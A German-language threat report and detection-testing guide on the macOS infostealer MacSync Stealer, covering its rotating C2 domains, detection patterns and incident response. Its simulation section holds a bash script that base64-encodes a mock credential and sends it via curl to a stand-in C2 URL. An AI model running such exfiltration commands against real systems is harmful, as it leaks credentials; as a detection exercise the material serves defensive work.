MacSync Stealer verwendet rotierende C2-Infrastruktur

Zusammenfassung

MacSync Stealer ist eine macOS-Informationsdiebstahl-Malware, die über ein Malware-as-a-Service-Modell angeboten wird. Sie basiert auf einem mehrstufigen zsh Loader, der sich mit einem rotierenden Pool von Command-and-Control-Domains verbindet, um gestohlene Informationen wie Passwörter und Kryptowährungs-Wallet-Anmeldedaten zu exfiltrieren. Der Loader überträgt Klartext-Passwörter über einen Query-String-Parameter und lädt ein ZIP-Archiv der gesammelten Daten in 10 MiB-Chunks hoch. Seine Infrastrukturrotations-Strategie hängt von einem statischen API-Schlüssel ab, der über mehrere Domains hinweg wiederverwendet wird, zusammen mit einem pro Build festgelegten Hexadezimal-Token.

Untersuchung

RST Cloud erkannte einen Downloadversuch von der neu registrierten Domain jacksonvillemma.com und fing den Stage 2 zsh Loader innerhalb einer Stunde ab. Statische Analyse deckte das Token, den API-Schlüssel und den Command-and-Control-Pfad des Loaders auf: /curl, /dynamic, und /gate. Zusätzliches Pivotieren basierend auf diesen URI-Mustern offenbarte einen Cluster von etwa zwölf verdächtigen Command-and-Control-Domains, die zwischen Februar und Mai 2026 aktiv waren. Vier dieser Domains wurden bestätigt, denselben API-Schlüssel zu teilen, während die anderen nur durch übereinstimmendes URI-Verhalten verbunden waren.

Minderung

Verteidiger sollten alle bekannten MacSync-Command-and-Control-Domains blockieren und nach den eindeutigen URL-Pfadmuster suchen, die von der Malware verwendet werden. Proxy- und DNS-Logs sollten auf Anfragen mit /curl, /dynamic, und /gate, sowie auf den verkürzten, Chrome-ähnlichen macOS-User-Agent-String, der mit dem Loader verbunden ist, überprüft werden. Sicherheitsteams sollten auch die Erstellung von /tmp/osalogging.zip detektieren und aufpassen auf zsh Prozesse, die base64 -D, gunzip, und eval in Kombination ausführen.

Reaktion

Wenn ein passender Indikator gefunden wird, isolieren Sie sofort den betroffenen Endpunkt, beenden Sie den bösartigen zsh Prozess und sammeln Sie den Speicher zur Analyse von möglichen AppleScript-Payloads. Setzen Sie freigelegte Benutzerpasswörter zurück und invalidieren Sie kompromittierte Anmeldedaten, die im macOS-Schlüsselbund gespeichert sind. Die Erkennungslogik sollte auch mit dem beobachteten Token, API-Schlüssel und den User-Agent-Mustern aktualisiert werden, um das Risiko zukünftiger Kompromittierungen zu verringern.

Simulationsausführung

Voraussetzung: Der Telemetrie- & Baseline-Vorabtest muss bestanden sein.

Begründung: Dieser Abschnitt beschreibt die genaue Ausführung der gegnerischen Technik (TTP), die darauf abzielt, die Erkennungsregel auszulösen. Die Befehle und Erzählung MÜSSEN direkt die identifizierten TTPs widerspiegeln und dazu dienen, die genau erwartete Telemetrie zu erzeugen, die von der Erkennungslogik erwartet wird.

• Angriffserzählung & Befehle:
  Ein Angreifer hat das MacSync Stealer-Binary auf einem kompromittierten macOS-Arbeitsplatz bereitgestellt. Der Stealer extrahiert das aktuelle macOS-Schlüsselbundpasswort des Benutzers, kodiert es base64 und exfiltriert es über eine HTTP-GET-Anfrage durch den Unternehmensproxy. Die Anfrage richtet sich an den bekannten C2-Endpunkt https://malicious.c2.net/dynamic?txd=<payload>. Da die Proxy-Logs vollständige URLs beinhalten, wird die Erkennungsregel die dynamic?txd= Teilzeichenfolge sehen und einen Alarm auslösen.

• Regressionstest-Skript:

   #!/bin/bash
    # macsync_stealer_simulation.sh
    # Simuliert die MacSync-Stealer-C2-Kommunikation, um die Erkennungsregel auszulösen.
  
    PROXY="http://proxy.corp.local:3128"
    C2_BASE="https://malicious.c2.net/dynamic?txd="
  
    # 1️⃣ Extrahiere ein Mock-Passwort (zu Demozwecken den aktuellen Benutzernamen verwenden)
    PASSWORD="$(whoami):P@ssw0rd!"
  
    # 2️⃣ Kodierung der Anmeldedaten in base64 (emuliert das Encoding-Schritt von MacSync)
    ENCODED=$(printf "%s" "$PASSWORD" | base64)
  
    # 3️⃣ Vollständige bösartige URL konstruieren
    MALICIOUS_URL="${C2_BASE}${ENCODED}"
  
    # 4️⃣ Sende die Anfrage über den Unternehmensproxy
    curl -x "$PROXY" "$MALICIOUS_URL" -A "Mozilla/5.0 (Macintosh; Intel Mac OS X 13_0) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.0 Safari/605.1.15"
  
    echo "Simulation ausgeführt – Payload an $MALICIOUS_URL gesendet"

• Aufräumbefehle:

   # Entferne temporäre Dateien (keine erstellt) und optional Proxy-Cache löschen
    echo "Simulation-Artefakte bereinigen..."
    # Bei Verwendung von Squid, die URL aus dem Cache löschen, um wiederholte Treffer zu vermeiden
    sudo squidclient -m PURGE "https://malicious.c2.net/dynamic?txd=*"